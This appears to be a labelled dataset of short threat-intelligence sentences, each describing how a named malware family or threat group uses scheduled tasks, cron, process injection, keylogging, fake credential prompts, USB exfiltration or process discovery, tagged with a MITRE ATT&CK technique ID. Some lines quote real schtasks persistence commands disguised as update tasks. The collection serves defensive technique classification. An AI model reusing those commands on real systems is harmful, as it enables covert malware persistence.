+Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.	['T1052.001']
+Mustang Panda has used a customized PlugX variant which could exfiltrate documents from air-gapped networks.	['T1052.001']
+Remsec contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.	['T1052.001']
+SPACESHIP copies staged data to removable drives when they are inserted into the system.	['T1052.001']
+USBStealer exfiltrates collected files via removable media from air-gapped victims.	['T1052.001']
+Dragonfly has used a scheduled task to execute a malicious file.	['T1053']
+"Earth Lusca used the command ""schtasks /Create /SC ONLOgon /TN WindowsUpdateCheck /TR “[file path]” /ru system"" for persistence."	['T1053']
+BRONZE BUTLER has used at to register a scheduled task to execute malware during lateral movement.	['T1053.002']
+CrackMapExec can set a scheduled task on the target system to execute commands remotely using at.	['T1053.002']
+at can be used to schedule a task on a system to be executed at a specific date or time.	['T1053.002']
+Anchor can install itself as a cron job.	['T1053.003']
+Exaramel for Linux uses crontab for persistence if it does not have root privileges.	['T1053.003']
+Janicab used a cron job for persistence on Mac devices.	['T1053.003']
+Kinsing has used crontab to download and run shell scripts every minute to ensure persistence.	['T1053.003']
+Penquin can use Cron to create periodic and pre-scheduled background jobs.	['T1053.003']
+Rocke installed a cron job that downloaded and executed files from the C2.	['T1053.003']
+Skidmap has installed itself via crontab.	['T1053.003']
+SpeakUp uses cron tasks to ensure persistence.	['T1053.003']
+"The GoldMax Linux variant has used a crontab entry with a ""@reboot"" line to gain persistence."	['T1053.003']
+A Patchwork file stealer can run a TaskScheduler DLL to add persistence.	['T1053.005']
+APT-C-36 has used a macro function to set scheduled tasks, disguised as those used by Google.	['T1053.005']
+APT32 has used scheduled tasks to persist on victim systems.	['T1053.005']
+APT33 has created a scheduled task to execute a .vbe file multiple times a day.	['T1053.005']
+APT37 has created scheduled tasks to run malicious scripts on a compromised host.	['T1053.005']
+APT39 has created scheduled tasks for persistence.	['T1053.005']
+APT41 used a compromised account to create a scheduled task on a system.	['T1053.005']
+Anchor can create a scheduled task for persistence.	['T1053.005']
+AppleJeus has created a scheduled SYSTEM task that runs when a user logs in.	['T1053.005']
+Attor's installer plugin can schedule a new task that loads the dispatcher on boot/logon.	['T1053.005']
+BADNEWS creates a scheduled task to establish by executing a malicious payload every subsequent minute.	['T1053.005']
+BITTER has used scheduled tasks for persistence and execution.	['T1053.005']
+BONDUPDATER persists using a scheduled task that executes every minute.	['T1053.005']
+BRONZE BUTLER has used schtasks to register a scheduled task to execute malware during lateral movement.	['T1053.005']
+BabyShark has used scheduled tasks to maintain persistence.	['T1053.005']
+BackConfig has the ability to use scheduled tasks to repeatedly execute malicious payloads on a compromised host.	['T1053.005']
+Blue Mockingbird has used Windows Scheduled Tasks to establish persistence on local and remote hosts.	['T1053.005']
+Carbon creates several tasks for later execution to continue persistence on the victim’s machine.	['T1053.005']
+Cobalt Group has created Windows tasks to establish persistence.	['T1053.005']
+ComRAT has used a scheduled task to launch its PowerShell loader.	['T1053.005']
+Confucius has created scheduled tasks to maintain persistence on a compromised host.	['T1053.005']
+CostaRicto has used scheduled tasks to download backdoor tools.	['T1053.005']
+Crutch has the ability to persist using scheduled tasks.	['T1053.005']
+Dragonfly 2.0 used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.	['T1053.005']
+Dragonfly has used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.	['T1053.005']
+"During Frankenstein, the threat actors established persistence through a scheduled task using the command: `/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR`, named ""WinUpdate"""	['T1053.005']
+During Operation Wocao, threat actors used scheduled tasks to execute malicious PowerShell code on remote systems.	['T1053.005']
+Empire has modules to interact with the Windows task scheduler.	['T1053.005']
+EvilBunny has executed commands via scheduled tasks.	['T1053.005']
+FIN10 has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.	['T1053.005']
+FIN6 has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and FrameworkPOS.	['T1053.005']
+FIN7 malware has created scheduled tasks to establish persistence.	['T1053.005']
+FIN8 has used scheduled tasks to maintain RDP backdoors.	['T1053.005']
+Fox Kitten has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary.	['T1053.005']
+"Frankenstein has established persistence through a scheduled task using the command: "" /Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR "", named ""WinUpdate""."	['T1053.005']
+GALLIUM established persistence for PoisonIvy by created a scheduled task.	['T1053.005']
+"GRIFFON has used ""sctasks"" for persistence."	['T1053.005']
+Gamaredon Group has created scheduled tasks to launch executables after a designated number of minutes have passed.	['T1053.005']
+Gazer can establish persistence by creating a scheduled task.	['T1053.005']
+GoldMax has used scheduled tasks to maintain persistence.	['T1053.005']
+Goopy has the ability to maintain persistence by creating scheduled tasks set to run every hour.	['T1053.005']
+GravityRAT creates a scheduled task to ensure it is re-executed everyday.	['T1053.005']
+GrimAgent has the ability to set persistence using the Task Scheduler.	['T1053.005']
+HEXANE has used a scheduled task to establish persistence for a keylogger.	['T1053.005']
+Helminth has used a scheduled task for persistence.	['T1053.005']
+HotCroissant has attempted to install a scheduled task named “Java Maintenance64” on startup to establish persistence.	['T1053.005']
+ISMInjector creates scheduled tasks to establish persistence.	['T1053.005']
+"IronNetInjector has used a task XML file named ""mssch.xml"" to run an IronPython script when a user logs in or when specific system events are created."	['T1053.005']
+JHUHUGIT has registered itself as a scheduled task to run each time the current user logs in.	['T1053.005']
+JSS Loader has the ability to launch scheduled tasks to establish persistence.	['T1053.005']
+Koadic has used scheduled tasks to add persistence.	['T1053.005']
+LitePower can create a scheduled task to enable persistence mechanisms.	['T1053.005']
+"Lokibot embedded the commands ""schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I"" inside a batch script."	['T1053.005']
+"Lucifer has established persistence by creating the following scheduled task ""schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\%USERPROFILE%\Downloads\spread.exe /F""."	['T1053.005']
+MCMD can use scheduled tasks for persistence.	['T1053.005']
+Machete has created scheduled tasks to maintain Machete's persistence.	['T1053.005']
+Machete used scheduled tasks for persistence.	['T1053.005']
+"Maze has created scheduled tasks using name variants such as ""Windows Update Security"", ""Windows Update Security Patches"", and ""Google Chrome Security Update"", to launch Maze at a specific time."	['T1053.005']
+Meteor execution begins from a scheduled task named `Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll` and it creates a separate scheduled task called `mstask` to run the wiper only once at 23:55:00.	['T1053.005']
+Milan can establish persistence on a targeted host with scheduled tasks.	['T1053.005']
+MuddyWater has used scheduled tasks to establish persistence.	['T1053.005']
+Mustang Panda has created a scheduled task to execute additional malicious software, as well as maintain persistence.	['T1053.005']
+NETWIRE can create a scheduled task to establish persistence.	['T1053.005']
+Okrum's installer can attempt to achieve persistence by creating a scheduled task.	['T1053.005']
+One persistence mechanism used by CozyCar is to register itself as a scheduled task.	['T1053.005']
+OopsIE creates a scheduled task to run itself every three minutes.	['T1053.005']
+Operation Wocao has used scheduled tasks to execute malicious PowerShell code on remote systems.	['T1053.005']
+"PowerSploit's ""New-UserPersistenceOption"" Persistence argument can be used to establish via a Scheduled Task/Job."	['T1053.005']
+Pteranodon schedules tasks to invoke its components in order to establish persistence.	['T1053.005']
+QUADAGENT creates a scheduled task to maintain persistence on the victim’s machine.	['T1053.005']
+RTM tries to add a scheduled task to establish persistence.	['T1053.005']
+RainyDay can use scheduled tasks to achieve persistence.	['T1053.005']
+Ramsay can schedule tasks via the Windows COM API to maintain persistence.	['T1053.005']
+"Rancor launched a scheduled task to gain persistence using the ""schtasks /create /sc"" command."	['T1053.005']
+Remexi utilizes scheduled tasks as a persistence mechanism.	['T1053.005']
+RemoteCMD can execute commands remotely by creating a new schedule task on the remote system	['T1053.005']
+Ryuk can remotely create a scheduled task to execute itself on a system.	['T1053.005']
+"SQLRat has created scheduled tasks in ""%appdata%\Roaming\Microsoft\Templates\""."	['T1053.005']
+"Saint Bot has created a scheduled task named ""Maintenance"" to establish persistence."	['T1053.005']
+ServHelper contains modules that will use schtasks to carry out malicious operations.	['T1053.005']
+SharpStage has a persistence component to write a scheduled task for the payload.	['T1053.005']
+Stealth Falcon malware creates a scheduled task entitled “IE Web Cache” to execute a malicious file hourly.	['T1053.005']
+Stuxnet schedules a network job to execute two minutes after host infection.	['T1053.005']
+TEMP.Veles has used scheduled task XML triggers.	['T1053.005']
+Tarrask is able to create “hidden” scheduled tasks for persistence.	['T1053.005']
+"Tomiris has used `SCHTASKS /CREATE /SC DAILY /TN StartDVL /TR ""[path to self]"" /ST 10:00` to establish persistence."	['T1053.005']
+TrickBot creates a scheduled task on the system that provides persistence.	['T1053.005']
+Zebrocy has a command to create a scheduled task for persistence.	['T1053.005']
+ccf32 can run on a daily basis using a scheduled task.	['T1053.005']
+menuPass has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.	['T1053.005']
+schtasks is used to schedule tasks on a Windows system to run at a specific date and time.	['T1053.005']
+"yty establishes persistence by creating a scheduled task with the command ""SchTasks /Create /SC DAILY /TN BigData /TR “ + path_file + “/ST 09:30“""."	['T1053.005']
+zwShell has used SchTasks for execution.	['T1053.005']
+ABK has the ability to inject shellcode into svchost.exe.	['T1055']
+APT32 malware has injected a Cobalt Strike beacon into Rundll32.exe.	['T1055']
+APT37 injects its malware variant, ROKRAT, into the cmd.exe process.	['T1055']
+APT41 malware TIDYELF loaded the main WINTERLOVE component by injecting it into the iexplore.exe process.	['T1055']
+Agent Tesla can inject into known, vulnerable binaries on targeted hosts.	['T1055']
+Attor's dispatcher can inject itself into running processes to gain higher privileges and to evade detection.	['T1055']
+AuditCred can inject code from files to other running processes.	['T1055']
+Avenger has the ability to inject shellcode into svchost.exe.	['T1055']
+BBK has the ability to inject shellcode into svchost.exe.	['T1055']
+Bumblebee can inject code into multiple processes on infected endpoints.	['T1055']
+Cardinal RAT injects into a newly spawned process created from a native Windows executable.	['T1055']
+Clambling can inject into the `svchost.exe` process for execution.	['T1055']
+Cobalt Group has injected code into trusted processes.	['T1055']
+"Donut includes a subproject ""DonutTest"" to inject shellcode into a target process."	['T1055']
+During Operation Sharpshooter, threat actors leveraged embedded shellcode to inject a downloader into the memory of Word.	['T1055']
+During Operation Wocao, threat actors injected code into a selected process, which in turn launches a command as a child process of the original.	['T1055']
+Gazer injects its communication module into an Internet accessible process through which it performs C2.	['T1055']
+GuLoader has the ability to inject shellcode into a donor processes that is started in a suspended state. GuLoader has previously used RegAsm as a donor process.	['T1055']
+HOPLIGHT has injected into running processes.	['T1055']
+HiddenWasp adds itself to the LD_PRELOAD path and sets a series of environment variables.	['T1055']
+Honeybee uses a batch file to load a DLL into the svchost.exe process.	['T1055']
+InvisiMole can inject itself into another process to avoid detection including use of a technique called ListPlanting that customizes the sorting algorithm in a ListView structure.	['T1055']
+IronNetInjector can use an IronPython scripts to load a .NET injector to inject a payload into its own or a remote process.	['T1055']
+JHUHUGIT performs code injection injecting its own functions to browser processes.	['T1055']
+JPIN can inject content into lsass.exe to load a module.	['T1055']
+Kimsuky has used Win7Elevate to inject malicious code into explorer.exe.	['T1055']
+Lizar can migrate the loader into another process.	['T1055']
+Mis-Type has been injected directly into a running process, including `explorer.exe`.	['T1055']
+NETWIRE can inject code into system processes including notepad.exe, svchost.exe, and vbc.exe.	['T1055']
+NavRAT copies itself into a running Internet Explorer process to evade detection.	['T1055']
+PLATINUM has used various methods of process injection including hot patching.	['T1055']
+Pandora can start and inject code into a new `svchost` process.	['T1055']
+"PoshC2 contains multiple modules for injecting into processes, such as ""Invoke-PSInject""."	['T1055']
+QakBot can inject itself into processes including explore.exe, Iexplore.exe, and Mobsync.exe.	['T1055']
+REvil can inject itself into running processes on a compromised host.	['T1055']
+ROKRAT can use `VirtualAlloc`, `WriteProcessMemory`, and then `CreateRemoteThread` to execute shellcode within the address space of `Notepad.exe`.	['T1055']
+SILENTTRINITY can inject shellcode directly into Excel.exe or a specific process.	['T1055']
+SLOTHFULMEDIA can inject into running processes on a compromised host.	['T1055']
+ShadowPad has injected an install module into a newly created process.	['T1055']
+Silence has injected a DLL library containing a Trojan into the fwmain32.exe process.	['T1055']
+Smoke Loader injects into the Internet Explorer process.	['T1055']
+StoneDrill has relied on injecting its payload directly into the process memory of the victim's preferred browser.	['T1055']
+The PcShare payload has been injected into the `logagent.exe` and `rdpclip.exe` processes.	['T1055']
+"TrickBot has used ""Nt*"" Native API functions to inject code into legitimate processes such as ""wermgr.exe""."	['T1055']
+"Turla has also used PowerSploit's ""Invoke-ReflectivePEInjection.ps1"" to reflectively load a PowerShell payload into a random process on the victim system."	['T1055']
+WarzoneRAT has the ability to inject malicious DLLs into a specific process for privilege escalation.	['T1055']
+Waterbear can inject decrypted shellcode into the LanmanServer service.	['T1055']
+Wiarp creates a backdoor through which remote attackers can inject files into running processes.	['T1055']
+Wingbird performs multiple process injections to hijack system processes and execute malicious code.	['T1055']
+gh0st RAT can inject malicious code into process created by the “Command_Create&Inject” function.	['T1055']
+injects a malicious DLL into the IExplorer.exe process.	['T1055']
+A Lazarus Group malware sample performs reflective DLL injection.	['T1055.001']
+After decrypting itself in memory, RARSTONE downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This “downloaded” file is actually not dropped onto the system.	['T1055.001']
+Aria-body has the ability to inject itself into another process such as rundll32.exe and dllhost.exe.	['T1055.001']
+Carberp's bootkit can inject a malicious DLL into the address space of running processes.	['T1055.001']
+Carbon has a command to inject code into a process.	['T1055.001']
+Duqu will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).	['T1055.001']
+During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.	['T1055.001']
+Dyre injects into other processes to load modules.	['T1055.001']
+Elise injects DLL files into iexplore.exe.	['T1055.001']
+Emissary injects its DLL file into a newly spawned Internet Explorer process.	['T1055.001']
+Emotet has been observed injecting in to Explorer.exe and other processes.	['T1055.001']
+Gelsemium has the ability to inject DLLs into specific processes.	['T1055.001']
+Get2 has the ability to inject DLLs into processes.	['T1055.001']
+HIDEDRV injects a DLL for Downdelph into the explorer.exe process.	['T1055.001']
+If running in a Windows environment, Kazuar saves a DLL to disk that is injected into the explorer.exe process to execute the payload. Kazuar can also be configured to inject and execute within specific processes.	['T1055.001']
+Koadic can perform process injection by using a reflective DLL.	['T1055.001']
+Leviathan has utilized techniques like reflective DLL loading to write a DLL into memory and load a shell that provides backdoor access to the victim.	['T1055.001']
+Matryoshka uses reflective DLL injection to inject the malicious library and execute the RAT.	['T1055.001']
+Maze has injected the malware DLL into a target process.	['T1055.001']
+"MegaCortex loads ""injecthelper.dll"" into a newly created ""rundll32.exe"" process."	['T1055.001']
+Metamorfo has injected a malicious DLL into the Windows Media Player process (wmplayer.exe).	['T1055.001']
+Mongall can inject a DLL into `rundll32.exe` for execution.	['T1055.001']
+PS1 can inject its payload DLL Into memory.	['T1055.001']
+PipeMon can inject its modules into various processes using reflective DLL loading.	['T1055.001']
+PoisonIvy can inject a malicious DLL into a process.	['T1055.001']
+Pupy can migrate into another process using reflective DLL injection.	['T1055.001']
+RATANKBA performs a reflective DLL injection using a given pid.	['T1055.001']
+Remsec can perform DLL injection.	['T1055.001']
+SDBbot has the ability to inject a downloaded DLL into a newly created rundll32.exe process.	['T1055.001']
+Saint Bot has injected its DLL component into `EhStorAurhn.exe`.	['T1055.001']
+Socksbot creates a suspended svchost process and injects its DLL into it.	['T1055.001']
+"SombRAT can execute ""loadfromfile"", ""loadfromstorage"", and ""loadfrommem"" to inject a DLL  from disk, storage, or memory respectively."	['T1055.001']
+Stuxnet injects an entire DLL into an existing, newly created, or preselected trusted process.	['T1055.001']
+Sykipot injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.	['T1055.001']
+Taidoor can perform DLL loading.	['T1055.001']
+The Bumblebee loader can support the `Dij` command which gives it the ability to inject DLLs into the memory of other processes.	['T1055.001']
+The FunnyDream FilepakMonitor component can inject into the Bka.exe process using the `VirtualAllocEx`, `WriteProcessMemory` and `CreateRemoteThread` APIs to load the DLL component.	['T1055.001']
+The Netwalker DLL has been injected reflectively into the memory of a legitimate running process.	['T1055.001']
+Tropic Trooper has injected a DLL backdoor into dllhost.exe and svchost.exe.	['T1055.001']
+Turla has used Metasploit to perform reflective DLL injection in order to escalate privileges.	['T1055.001']
+Wizard Spider has injected malicious DLLs into memory with read, write, and execute permissions.	['T1055.001']
+ZxShell is injected into a shared SVCHOST process.	['T1055.001']
+Carbanak downloads an executable and injects it directly into a new process.	['T1055.002']
+GreyEnergy has a module to inject a PE binary into a remote process.	['T1055.002']
+Lizar can execute PE files in the address space of the specified process.	['T1055.002']
+"Rocke's miner, ""TermsHost.exe"", evaded defenses by injecting itself into Windows processes, including Notepad.exe."	['T1055.002']
+Zeus Panda checks processes on the system and if they meet the necessary requirements, it injects into that process.	['T1055.002']
+Gazer performs thread execution hijacking to inject its orchestrator into a running thread from a remote process.	['T1055.003']
+"Trojan.Karagany can inject a suspended thread of its own process into a new process and initiate via the ""ResumeThread"" API."	['T1055.003']
+Waterbear can use thread injection to inject shellcode into the process of security software.	['T1055.003']
+Attor performs the injection by attaching its code into the APC queue using NtQueueApcThread API.	['T1055.004']
+Bumblebee can use asynchronous procedure call (APC) injection to execute commands received from C2.	['T1055.004']
+Carberp has queued an APC routine to explorer.exe by calling ZwQueueApcThread.	['T1055.004']
+FIN8 has injected malicious code into a new svchost.exe process.	['T1055.004']
+"IcedID has used ""ZwQueueApcThread"" to inject itself into remote processes."	['T1055.004']
+InvisiMole can inject its code into a trusted process via the APC queue.	['T1055.004']
+Pillowmint has used the NtQueueApcThread syscall to inject code into svchost.exe.	['T1055.004']
+Saint Bot has written its payload into a newly-created `EhStorAuthn.exe` process using `ZwWriteVirtualMemory` and executed it using `NtQueueApcThread` and `ZwAlertResumeThread`.	['T1055.004']
+"TURNEDUP is capable of injecting code into the APC queue of a created Rundll32 process as part of an ""Early Bird injection."""	['T1055.004']
+Epic has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process.	['T1055.011']
+Power Loader overwrites Explorer’s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.	['T1055.011']
+A Threat Group-3390 tool can spawn svchost.exe and inject the payload into that process.	['T1055.012']
+Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.	['T1055.012']
+Azorult can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.	['T1055.012']
+BBSRAT has been seen loaded into msiexec.exe through process hollowing to hide its execution.	['T1055.012']
+Bandook has been launched by starting iexplore.exe and replacing it with Bandook's payload.	['T1055.012']
+Bazar can inject into a target process including Svchost, Explorer, and cmd using process hollowing.	['T1055.012']
+Clambling can execute binaries through process hollowing.	['T1055.012']
+Cobalt Strike can use process hollowing for execution.	['T1055.012']
+Denis performed process hollowing through the API calls CreateRemoteThread, ResumeThread, and Wow64SetThreadContext.	['T1055.012']
+Duqu is capable of loading executable code via process hollowing.	['T1055.012']
+Gorgon Group malware can use process hollowing to inject one of its trojans into another process.	['T1055.012']
+ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.	['T1055.012']
+Kimsuky has used a file injector DLL to spawn a benign process on the victim's system and inject the malicious payload into it via process hollowing.	['T1055.012']
+Lokibot has used process hollowing to inject itself into legitimate Windows process.	['T1055.012']
+RCSession can launch itself from a hollowed svchost.exe process.	['T1055.012']
+Smoke Loader spawns a new copy of c:\windows\syswow64\explorer.exe and then replaces the executable code in memory with malware.	['T1055.012']
+Some Orz versions have an embedded DLL known as MockDll that uses process hollowing and Regsvr32 to execute another payload.	['T1055.012']
+The NETWIRE payload has been injected into benign Microsoft executables via process hollowing.	['T1055.012']
+The Saint Bot loader has used API calls to spawn `MSBuild.exe` in a suspended state before injecting the decrypted Saint Bot binary into it.	['T1055.012']
+TrickBot injects into the svchost.exe process.	['T1055.012']
+Ursnif has used process hollowing to inject into child processes.	['T1055.012']
+WhisperGate has the ability to inject its fourth stage into a suspended process created by the legitimate Windows utility `InstallUtil.exe`.	['T1055.012']
+Bazar can inject into a target process using process doppelgänging.	['T1055.013']
+Leafminer has used Process Doppelgänging to evade security software while deploying tools on compromised systems.	['T1055.013']
+SynAck abuses NTFS transactions to launch and conceal malicious processes.	['T1055.013']
+InvisiMole has used ListPlanting to inject code into a trusted process.	['T1055.015']
+APT39 has utilized tools to capture mouse movements.	['T1056']
+ADVSTORESHELL can perform keylogging.	['T1056.001']
+APT28 has used tools to perform keylogging.	['T1056.001']
+APT3 has used a keylogging tool that records keystrokes in encrypted files.	['T1056.001']
+APT32 has abused the PasswordChangeNotify to monitor for and capture account password changes.	['T1056.001']
+APT38 used a Trojan called KEYLIME to capture keystrokes from the victim’s machine.	['T1056.001']
+APT39 has used tools for capturing keystrokes.	['T1056.001']
+APT41 used a keylogger called GEARSHIFT on a target system.	['T1056.001']
+Agent Tesla can log keystrokes on the victim’s machine.	['T1056.001']
+Ajax Security Team has used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system.	['T1056.001']
+"AppleSeed can use ""GetKeyState"" and ""GetKeyboardState"" to capture keystrokes on the victim’s machine."	['T1056.001']
+Astaroth logs keystrokes from the victim's machine.	['T1056.001']
+BISCUIT can capture keystrokes.	['T1056.001']
+BadPatch has a keylogging capability.	['T1056.001']
+Bandook contains keylogging capabilities.	['T1056.001']
+BlackEnergy has run a keylogger plug-in on a victim.	['T1056.001']
+CHOPSTICK is capable of performing keylogging.	['T1056.001']
+Carbanak logs key strokes for configured processes and sends them back to the C2 server.	['T1056.001']
+Cardinal RAT can log keystrokes.	['T1056.001']
+Catchamas collects keystrokes from the victim’s machine.	['T1056.001']
+Cobalt Strike can track key presses with a keylogger module.	['T1056.001']
+Cobian RAT has a feature to perform keylogging on the victim’s machine.	['T1056.001']
+CosmicDuke uses a keylogger.	['T1056.001']
+Crimson can use a module to perform keylogging on compromised hosts.	['T1056.001']
+"Cuba logs keystrokes via polling by using ""GetKeyState"" and ""VkKeyScan"" functions."	['T1056.001']
+DarkComet has a keylogging capability.	['T1056.001']
+DarkWatchman can track key presses with a keylogger module.	['T1056.001']
+Darkhotel has used a keylogger.	['T1056.001']
+Dtrack’s dropper contains a keylogging executable.	['T1056.001']
+Duqu can track key presses with a keylogger module.	['T1056.001']
+DustySky contains a keylogger.	['T1056.001']
+ECCENTRICBANDWAGON can capture and store keystrokes.	['T1056.001']
+EvilGrab has the capability to capture keystrokes.	['T1056.001']
+FIN4 has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger.	['T1056.001']
+FakeM contains a keylogger module.	['T1056.001']
+FlawedAmmyy can collect keyboard events.	['T1056.001']
+Fysbis can perform keylogging.	['T1056.001']
+Grandoreiro can log keystrokes on the victim's machine.	['T1056.001']
+GreyEnergy has a module to harvest pressed keystrokes.	['T1056.001']
+HEXANE has used a PowerShell-based keylogger named `kl.ps1`.	['T1056.001']
+HTTPBrowser is capable of capturing keystrokes on victims.	['T1056.001']
+Imminent Monitor has a keylogging module.	['T1056.001']
+"KGH_SPY can perform keylogging by polling the ""GetAsyncKeyState()"" function."	['T1056.001']
+KONNI has the capability to perform keylogging.	['T1056.001']
+Kasidet has the ability to initiate keylogging.	['T1056.001']
+KeyBoy installs a keylogger for intercepting credentials and keystrokes.	['T1056.001']
+Kimsuky has used a PowerShell-based keylogger as well as a tool called MECHANICAL to log keystrokes.	['T1056.001']
+Kivars has the ability to initiate keylogging on the infected host.	['T1056.001']
+Lazarus Group malware KiloAlfa contains keylogging functionality.	['T1056.001']
+Lokibot has the ability to capture input on the compromised host via keylogging.	['T1056.001']
+MacMa can use Core Graphics Event Taps to intercept user keystrokes from any text input field and saves them to text files. Text input fields include Spotlight, Finder, Safari, Mail, Messages, and other apps that have text fields for passwords.	['T1056.001']
+MacSpy captures keystrokes.	['T1056.001']
+Matryoshka is capable of keylogging.	['T1056.001']
+Metamorfo has a command to launch a keylogger and capture keystrokes on the victim’s machine.	['T1056.001']
+Micropsia has keylogging capabilities.	['T1056.001']
+MoonWind has a keylogger.	['T1056.001']
+NanoCore can perform keylogging on the victim’s machine.	['T1056.001']
+NavRAT logs the keystrokes on the targeted system.	['T1056.001']
+OilRig has used keylogging tools called KEYPUNCH and LONGWATCH.	['T1056.001']
+Okrum was seen using a keylogger tool to capture keystrokes.	['T1056.001']
+One of Attor's plugins can collect user credentials via capturing keystrokes and can capture keystrokes pressed within the window of the injected process.	['T1056.001']
+Operation Wocao has obtained the password for the victim's password manager via a custom keylogger.	['T1056.001']
+"OwaAuth captures and DES-encrypts credentials before writing the username and password to a log file, ""C:\log.txt""."	['T1056.001']
+PLATINUM has used several different keyloggers.	['T1056.001']
+Peppy can log keystrokes on compromised hosts.	['T1056.001']
+PlugX has a module for capturing keystrokes per process including window titles.	['T1056.001']
+PoisonIvy contains a keylogger.	['T1056.001']
+PoshC2 has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages.	['T1056.001']
+"PowerSploit's ""Get-Keystrokes"" Exfiltration module can log keystrokes."	['T1056.001']
+Prikormka contains a keylogger module that collects keystrokes and the titles of foreground windows.	['T1056.001']
+Pupy uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.	['T1056.001']
+QakBot can capture keystrokes on a compromised host.	['T1056.001']
+QuasarRAT has a built-in keylogger.	['T1056.001']
+ROKRAT can use  `SetWindowsHookEx` and `GetKeyNameText` to capture keystrokes.	['T1056.001']
+RTM can record keystrokes from both the keyboard and virtual keyboard.	['T1056.001']
+Regin contains a keylogger.	['T1056.001']
+Remcos has a command for keylogging.	['T1056.001']
+Remexi gathers and exfiltrates keystrokes from the machine.	['T1056.001']
+Remsec contains a keylogger component.	['T1056.001']
+Rover has keylogging functionality.	['T1056.001']
+RunningRAT captures keystrokes and sends them back to the C2 server.	['T1056.001']
+SLOTHFULMEDIA has a keylogging capability.	['T1056.001']
+SMOKEDHAM can continuously capture keystrokes.	['T1056.001']
+Sandworm Team has used a keylogger to capture keystrokes by using the SetWindowsHookEx function.	['T1056.001']
+Sowbug has used keylogging tools.	['T1056.001']
+SslMM creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.	['T1056.001']
+Sykipot contains keylogging functionality to steal passwords.	['T1056.001']
+TajMahal has the ability to capture keystrokes on an infected host.	['T1056.001']
+The FunnyDream Keyrecord component can capture keystrokes.	['T1056.001']
+The executable version of Helminth has a module to log keystrokes.	['T1056.001']
+"ThiefQuest uses the ""CGEventTap"" functions to perform keylogging."	['T1056.001']
+Threat Group-3390 actors installed a credential logger on Microsoft Exchange servers. Threat Group-3390 also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.	['T1056.001']
+TinyZBot contains keylogger functionality.	['T1056.001']
+Tonto Team has used keylogging tools in their operations.	['T1056.001']
+Trojan.Karagany can capture keystrokes on a compromised host.	['T1056.001']
+Unknown Logger is capable of recording keystrokes.	['T1056.001']
+VERMIN collects keystrokes from the victim machine.	['T1056.001']
+XAgentOSX contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.	['T1056.001']
+Zeus Panda can perform keylogging on the victim’s machine by hooking the functions TranslateMessage and WM_KEYDOWN.	['T1056.001']
+ZxShell has a feature to capture a remote computer's keystrokes using a keylogger.	['T1056.001']
+jRAT has the capability to log keystrokes from the victim’s machine, both offline and online.	['T1056.001']
+menuPass has used key loggers to steal usernames and passwords.	['T1056.001']
+yty uses a keylogger plugin to gather keystrokes.	['T1056.001']
+Calisto presents an input prompt asking for the user's login and password.	['T1056.002']
+Dok prompts the user for credentials.	['T1056.002']
+FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials.	['T1056.002']
+Keydnap prompts the users for credentials.	['T1056.002']
+Metamorfo has displayed fake forms on top of banking sites to intercept credentials from victims.	['T1056.002']
+"XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process ""/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment""."	['T1056.002']
+iKitten prompts the user for their credentials.	['T1056.002']
+Empire contains some modules that leverage API hooking to carry out tasks, such as netripper.	['T1056.004']
+NOKKI uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.	['T1056.004']
+PLATINUM is capable of using Windows hook interfaces for information gathering such as credential access.	['T1056.004']
+RDFSNIFFER hooks several Win32 API functions to hijack elements of the remote system management user-interface.	['T1056.004']
+"TrickBot has the ability to capture RDP credentials by capturing the ""CredEnumerateA"" API"	['T1056.004']
+Ursnif has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers.	['T1056.004']
+Zebrocy installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method.	['T1056.004']
+ZxShell hooks several API functions to spawn system threads.	['T1056.004']
+4H RAT has the capability to obtain a listing of running processes (including loaded modules).	['T1057']
+"APT1 gathered a list of running processes on the system using ""tasklist /v""."	['T1057']
+APT29 has used multiple command-line utilities to enumerate running processes.	['T1057']
+APT37's Freenki malware lists running processes using the Microsoft Windows API.	['T1057']
+APT38 leveraged Sysmon to understand the processes, services in the organization.	['T1057']
+After compromising a victim, Poseidon Group lists all running processes.	['T1057']
+An APT28 loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.	['T1057']
+"Andariel has used ""tasklist"" to enumerate processes and find a specific string."	['T1057']
+Aria-body has the ability to enumerate loaded modules for a process..	['T1057']
